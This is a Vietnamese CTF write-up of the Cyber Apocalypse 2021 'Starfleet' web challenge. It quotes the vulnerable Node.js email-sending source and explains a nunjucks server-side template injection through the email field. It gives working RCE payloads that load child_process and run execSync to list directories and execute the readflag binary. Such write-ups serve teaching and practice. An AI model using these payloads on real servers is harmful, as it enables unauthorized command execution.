1. Đề bài

Bài này cho một web như vầy.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.09.16.png

Cho luôn source code như vầy /images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.08.47.png

Vậy bài này lại là một bài review source code.

2. Giải quyết

Các bạn để ý thì ảnh trên, bài thi cho địa chỉ web, khi truy cập vào thì có chức năng enroll với input cần điền vào là một email. Đọc vào source code thì có luôn chức năng send mail.

const nodemailer = require('nodemailer');
const nunjucks   = require('nunjucks');

module.exports = {

    async sendEmail(emailAddress) {
        return new Promise(async (resolve, reject) => {
            try {
                let message = {
                    to: emailAddress,
                    subject: 'Enrollment is now under review ✅',
                };

                if (process.env.NODE_ENV === 'production' ) {

                    let gifSrc = '[email protected]';
                    
                    message.html = nunjucks.renderString(`
                        <p><b>Hello</b> <i>${ emailAddress }</i></p>
                        <p>A cat has been deployed to process your submission 🐈</p><br/>
                        <img width="500" height="350" src="cid:{{ gifSrc }}"/></p>
                        `, { gifSrc }
                    );

                    message.attachments = [
                        {
                            filename: 'minimakelaris.gif',
                            path: __dirname + '/../assets/minimakelaris.gif',
                            cid: gifSrc
                        }
                    ];

                    let transporter = nodemailer.createTransport({
                        host: 'smtp.gmail.com',
                        port: 465,
                        secure: true,
                        auth: {
                            user: '[email protected]',
                            pass: '[REDACTED]',
                        },
                        logger: true
                    });

                    transporter.sendMail(message);

                    transporter.close();

                    resolve({ response: 'The email has been sent' });
                } else {
                    let gifSrc = '//i.pinimg.com/originals/bf/17/70/bf1770f704af814c3da78b0866b286c2.gif';

                    message.html = nunjucks.renderString(`
                        <p><b>Hello</b> <i>${ emailAddress }</i></p>
                        <p>A cat has been deployed to process your submission 🐈</p><br/>
                        <img width="540" height="304" src="{{ gifSrc }}"/></p>
                        `, { gifSrc }
                    );

                    let testAccount = await nodemailer.createTestAccount();

                    let transporter = nodemailer.createTransport({
                        host: 'smtp.ethereal.email',
                        port: 587,
                        auth: {
                            user: testAccount.user,
                            pass: testAccount.pass,
                        },
                        logger: true
                    });

                    let info = await transporter.sendMail(message);

                    transporter.close();
                  
                    resolve({ response: `<iframe 
                        style='height:calc(100vh - 4px); width:100%; box-sizing: border-box;' scrolling='no' frameborder=0 
                        src='${nodemailer.getTestMessageUrl(info)}'
                    >`});
                }
            } catch(e) {
                reject({ response: 'Something went wrong' });
            }
        })
    }
};

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.10.07.png

Giải thích sơ qua thì chức năng send mail này sẽ lấy email được nhập từ input, và gửi tới email đó một đoạn nội dung như vầy.

message.html = nunjucks.renderString(`
                        <p><b>Hello</b> <i>${ emailAddress }</i></p>
                        <p>A cat has been deployed to process your submission 🐈</p><br/>
                        <img width="500" height="350" src="cid:{{ gifSrc }}"/></p>
                        `, { gifSrc }
                    );

Chúng ta thử xem qua khi điền vào một email thì ứng dụng web này sẽ gửi mail như nào nha.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.11.32.png

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.12.14.png

Các bạn để ý nội dung Email sử dụng nunjucks.renderString(), thể loại render nội dung HTML này hay gặp lỗi về SSTI lắm. Trong trường hợp này, email được lấy từ input không có check filters hay gì hết, mà đẩy thẳng vào renderString luôn, nên xác định đây là kiểu SSTI rồi và tập trung khai thác thôi.

Vậy đã xác định được SSTI rồi, thì cách thử kinh điển nhất mà ở bài tutorial nào cũng hướng dẫn đó là sử dụng {{7*7}}. Về cơ bản thì nếu như có lỗi về SSTI thì sau khi render thành nội dung HTML 7*7 sẽ bằng 49. Vậy tôi thử xem như nào nha.

Giải thích chút về function sendMail(), ở cái biến to sẽ nhận vào một list các email sẽ được gửi tới và được ngăn cách nhau giữa các email bởi dấu ,. Ví dụ: [email protected],[email protected]. Nên là việc chúng ta thay [email protected] bằng {{7*7}} sẽ không gây lỗi gửi mail tới [email protected].

Rồi, bây giờ thử {{7*7}} nào.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.14.24.png

Các bạn sẽ thấy, email thứ 2 sẽ được hiển thị là 49, chứ không còn là {{7*7}}.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.14.38.png

OK, khi đã xác định chắc chắn thế rồi, thì tôi có payload để chạy lệnh command bằng payload sau.

{{ (0).toString.constructor(\"return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()\")() | dump | safe }}

Về phần làm sao viết được paload như thế nào, các bạn có thể google tham khảo cách call/load một global function/module từ một object js nhé.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.18.28.png

Sau khi gửi request kèm payload trên, chúng ta sẽ nhận được 1 mail như bên dưới.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.19.02.png

Vậy là đã có thể run được 1 command của hệ thống. Bây giờ quay trở lại folder source code, các bạn có thể nhìn thấy là đi kèm source code là 1 file readflag.c, file này được cho là có dụng ý, nên ta cần đọc nó chút nha.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.20.00.png

Nội dung readflag.c như sau.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.23.59.png

vậy flag được đặt trong /root/flag, vậy thì phải cần quyền root thì mới có thể đọc được file flag. Kiểm tra xem user đang chạy ứng dụng web quyền gì nhé (Thường thì không ai chạy mấy ứng dụng web với quyền root đâu, nhưng cứ check thôi).

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.25.06.png

Đó, ứng dụng web đã không chạy với quyền root, nên không thể sử dụng cat /root/flag được đâu nhé. Bây giờ xác định xem readflag.c đang nằm ở đâu với payload sau.

{{ (0).toString.constructor(\"return global.process.mainModule.constructor._load('child_process').execSync('cd ..;ls').toString()\")() | dump | safe }}

OK, vậy là file readflag.c đã được compile thằng file readflag.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.21.36.png

Bây giờ chỉ cần run file đó lên thôi, payload run nó lên như sau.

{{ (0).toString.constructor(\"return global.process.mainModule.constructor._load('child_process').execSync('cd ..;./readflag').toString()\")() | dump | safe }}

Được rồi, nó đã work, và flag đã được gửi về mail.

/images/posts/ctf/Cyber-Apocalypse-2021/Starfleet/Screen_Shot_2021-04-24_at_23.23.06.png

Flag là: CHTB{I_can_f1t_my_p4yl04ds_3v3rywh3r3!}